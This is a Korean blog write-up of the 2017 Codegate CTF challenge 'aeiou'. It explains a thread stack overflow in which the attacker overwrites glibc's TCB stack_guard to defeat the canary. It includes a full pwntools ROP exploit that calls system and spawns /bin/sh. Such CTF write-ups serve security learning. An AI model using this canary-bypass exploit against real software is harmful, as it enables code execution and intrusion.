티스토리 뷰
2017 codegate
에서 나온 문제이다.
되게 어려워보이는 문제지만 알고나면 이보다 더 쉬운문제는 없을 것 같당.
바로보자
binary summary
Pthread
TCB overwrite
Bof
Simple Rop
다른 쓰레드에서 터지는 bof
를 이용해서 간단한 rop
+ TCB sturct overwrite
를 수행해야한다.
Vuln
void *__fastcall start_routine(void *a1)
{
unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
char s; // [rsp+10h] [rbp-1010h]
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(&s, 0, 0x1000uLL);
puts("Hello!");
puts("Let me know the number!");
v2 = fgets_int();
if ( v2 <= 0x10000 )
{
read_str(0, &s, v2);
puts("Thank You :)");
}
else
{
puts("Too much :(");
}
return 0LL;
}
thread
를 하나 할당해주고, 저렇게 대놓고 bof
를 하나 준다.
Thread Control Block
pthread_create.c
함수에서 새로운 thead
를 create
할 때, 관련된 정보를 구조체에 저장하고, 옮기는데 이때 pthread_create.c
함수에서 자체적으로 tcbhead_t
라는 구조체를 사용한다.
해당 구조체는 다음과 같이 생겼따
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
이 문제에서 핵심은 저 구조체의 stack_guard
영역을 (canary
) overwrite
하는것이다.
즉 stack
영역에서 canary
값을 0x4141414141414141
로 덮고, 쭈욱 overwrite
해서 저기 stack_guard
영역또한 기존의 canary
값에서 0x4141414141414141
로 변조해준다면 canary
값은 서로 일치할 것이며, exploit
이 진행된다.
Exploit
gdb
를 통해서 메모리를 확인해보니까 입력 버퍼로부터 0x17e8
떨어진 위치에 stack_guard
가 존재했으며, 해당 값을 변조하고 주어진 가젯, 함수들로 exploit
하면 된다.
from pwn import *
def bof(data):
p.sendlineafter(">>", '3')
p.sendlineafter("number!\n", str(len(data)))
sleep(0.2)
p.send(str(data))
p = process('./aeiou')
e = ELF("./aeiou")
puts_plt = e.plt['puts']
puts_got = e.got['puts']
prdi = 0x00000000004026f3
prsi = 0x00000000004026f1
pay = "A"*0x1008
pay += "B"*0x8
pay += p64(0xdeadbeef)
pay += p64(prdi)
pay += p64(0)
pay += p64(prsi)
pay += p64(e.bss()+0x100)
pay += p64(0)
pay += p64(e.plt['read'])
pay += p64(prdi)
pay += p64(e.bss()+0x100)
pay += p64(e.plt['system'])
pay = pay.ljust(0x17e8, '\x00')
pay += "B"*0x8
bof(pay)
p.send("/bin/sh\x00")
p.interactive()
짜란~
문서 업로드를 늦게했당.
댓글